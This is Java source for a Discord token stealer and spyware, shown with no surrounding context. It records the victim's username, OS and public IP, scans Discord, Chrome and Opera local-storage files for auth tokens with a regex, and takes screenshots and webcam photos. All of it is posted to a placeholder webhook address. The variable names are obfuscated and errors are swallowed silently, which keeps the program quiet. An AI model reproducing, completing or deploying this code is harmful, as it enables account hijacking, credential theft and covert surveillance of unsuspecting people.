public static void main(String[] args) {
String llLlLlL = System.getProperty("os.name");
try {
URL whatismyip = new URL("http://checkip.amazonaws.com");
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(
whatismyip.openStream()));
String ip = bufferedReader.readLine();
String llLlLlLlL = System.getProperty("user.name");
captureScreen();
sendMessage("``` NAME : " + llLlLlLlL + "\n IP" + " : " + ip + " \n OS : " + llLlLlL + "```");
} catch (Exception ignore) {
}
if (llLlLlL.contains("Windows")) {
List<String> paths = new ArrayList<>();
paths.add(System.getProperty("user.home") + "/AppData/Roaming/discord/Local Storage/leveldb/");
paths.add(System.getProperty("user.home") + "/AppData/Roaming/discordptb/Local Storage/leveldb/");
paths.add(System.getProperty("user.home") + "/AppData/Roaming/discordcanary/Local Storage/leveldb/");
paths.add(System.getProperty("user.home") + "/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb");
paths.add(System.getProperty("user.home") + "/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb");
int cx = 0;
StringBuilder webhooks = new StringBuilder();
webhooks.append("TOKEN\n");
try {
for (String path : paths) {
File f = new File(path);
String[] pathnames = f.list();
if (pathnames == null) continue;
for (String pathname : pathnames) {
try {
FileInputStream fstream = new FileInputStream(path + pathname);
DataInputStream in = new DataInputStream(fstream);
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String strLine;
while ((strLine = br.readLine()) != null) {
Pattern p = Pattern.compile("[nNmM][\\w\\W]{23}\\.[xX][\\w\\W]{5}\\.[\\w\\W]{27}|mfa\\.[\\w\\W]{84}");
Matcher m = p.matcher(strLine);
while (m.find()) {
if (cx > 0) {
webhooks.append("\n");
}
webhooks.append(" ").append(m.group());
cx++;
}
}
} catch (Exception ignored) {
}
}
}
sendMessage("```" + webhooks.toString() + "```");
} catch (Exception e) {
sendMessage("``` UNABLE TO PULL TOKENS : " + e + "```");
}
} else if (llLlLlL.contains("Mac")) {
List<String> paths = new ArrayList<>();
paths.add(System.getProperty("user.home") + "/Library/Application Support/discord/Local Storage/leveldb/");
int cx = 0;
StringBuilder webhooks = new StringBuilder();
webhooks.append("TOKEN\n");
try {
for (String path : paths) {
File f = new File(path);
String[] pathnames = f.list();
if (pathnames == null) continue;
for (String pathname : pathnames) {
try {
FileInputStream fstream = new FileInputStream(path + pathname);
DataInputStream in = new DataInputStream(fstream);
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String strLine;
while ((strLine = br.readLine()) != null) {
Pattern p = Pattern.compile("[nNmM][\\w\\W]{23}\\.[xX][\\w\\W]{5}\\.[\\w\\W]{27}|mfa\\.[\\w\\W]{84}");
Matcher m = p.matcher(strLine);
while (m.find()) {
if (cx > 0) {
webhooks.append("\n");
}
webhooks.append(" ").append(m.group());
cx++;
}
}
} catch (Exception ignored) {
}
}
}
sendMessage("```" + webhooks.toString() + "```");
} catch (Exception e) {
sendMessage("``` UNABLE TO PULL TOKEN[S] : " + e + "```");
}
} else {
sendMessage("```UNABLE TO FIND OTHER INFORMATION. OS IS NOT SUPPORTED```");
}
try {
captureScreen();
} catch (Exception ex) {
sendMessage("``` UNABLE TO SCREENSHOT : " + ex + "```");
}
try {
captureCamera();
} catch (Exception ex) {
sendMessage("``` UNABLE TO CAPTURE CAMERA : " + ex + "```");
}
}
private static void sendMessage(String message) {
PrintWriter out = null;
BufferedReader in = null;
StringBuilder result = new StringBuilder();
try {
URL realUrl = new URL("webhook");
URLConnection conn = realUrl.openConnection();
conn.setRequestProperty("accept", "*/*");
conn.setRequestProperty("connection", "Keep-Alive");
conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)");
conn.setDoOutput(true);
conn.setDoInput(true);
out = new PrintWriter(conn.getOutputStream());
String postData = URLEncoder.encode("content", "UTF-8") + "=" + URLEncoder.encode(message, "UTF-8");
out.print(postData);
out.flush();
in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
result.append("/n").append(line);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (out != null) {
out.close();
}
if (in != null) {
in.close();
}
} catch (IOException ex) {
ex.printStackTrace();
}
}
System.out.println(result.toString());
}
private static void sendFile(File file) throws IOException {
String url = "webhook";
String boundary = Long.toHexString(System.currentTimeMillis());
URLConnection connection = new URL(url).openConnection();
connection.setDoOutput(true);
connection.setRequestProperty("User-Agent","Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36");
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
try (PrintWriter writer = new PrintWriter(new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.US_ASCII))) {
writer.println("--" + boundary);
writer.println("Content-Disposition: form-data; name=\"" + file.getName() + "\"; filename=\"" + file.getName() + "\"");
writer.write("Content-Type: image/png");
writer.println();
writer.println(readAllBytes(new FileInputStream(file)));
try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(file), StandardCharsets.US_ASCII))) {
for (String line; (line = reader.readLine()) != null; ) {
writer.println(line);
}
}
writer.println("--" + boundary + "--");
}
System.out.println(((HttpURLConnection) connection).getResponseMessage());
}
public static byte[] readAllBytes(@NotNull InputStream stream) throws IOException {
int count, pos = 0;
byte[] output = new byte[0];
byte[] buf = new byte[1024];
while ((count = stream.read(buf)) > 0) {
if (pos + count >= output.length) {
byte[] tmp = output;
output = new byte[pos + count];
System.arraycopy(tmp, 0, output, 0, tmp.length);
}
for (int i = 0; i < count; i++) {
output[pos++] = buf[i];
}
}
return output;
}
@SuppressWarnings("all")
private static void captureScreen() throws Exception {
Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
Rectangle screenRectangle = new Rectangle(screenSize);
Robot robot = new Robot();
BufferedImage image = robot.createScreenCapture(screenRectangle);
int random = new Random().nextInt();
File file = new File("cached_" + random + ".png");
ImageIO.write(image, "png", file);
sendFile(file);
file.delete();
}
private static void captureCamera() throws Exception {
Webcam cam = Webcam.getDefault();
cam.open();
int random = Math.abs(new Random().nextInt());
File webcam = new File("1cached_" + random + ".png");
ImageIO.write(cam.getImage(), "PNG", webcam);
cam.close();
sendFile(webcam);
file.delete();
}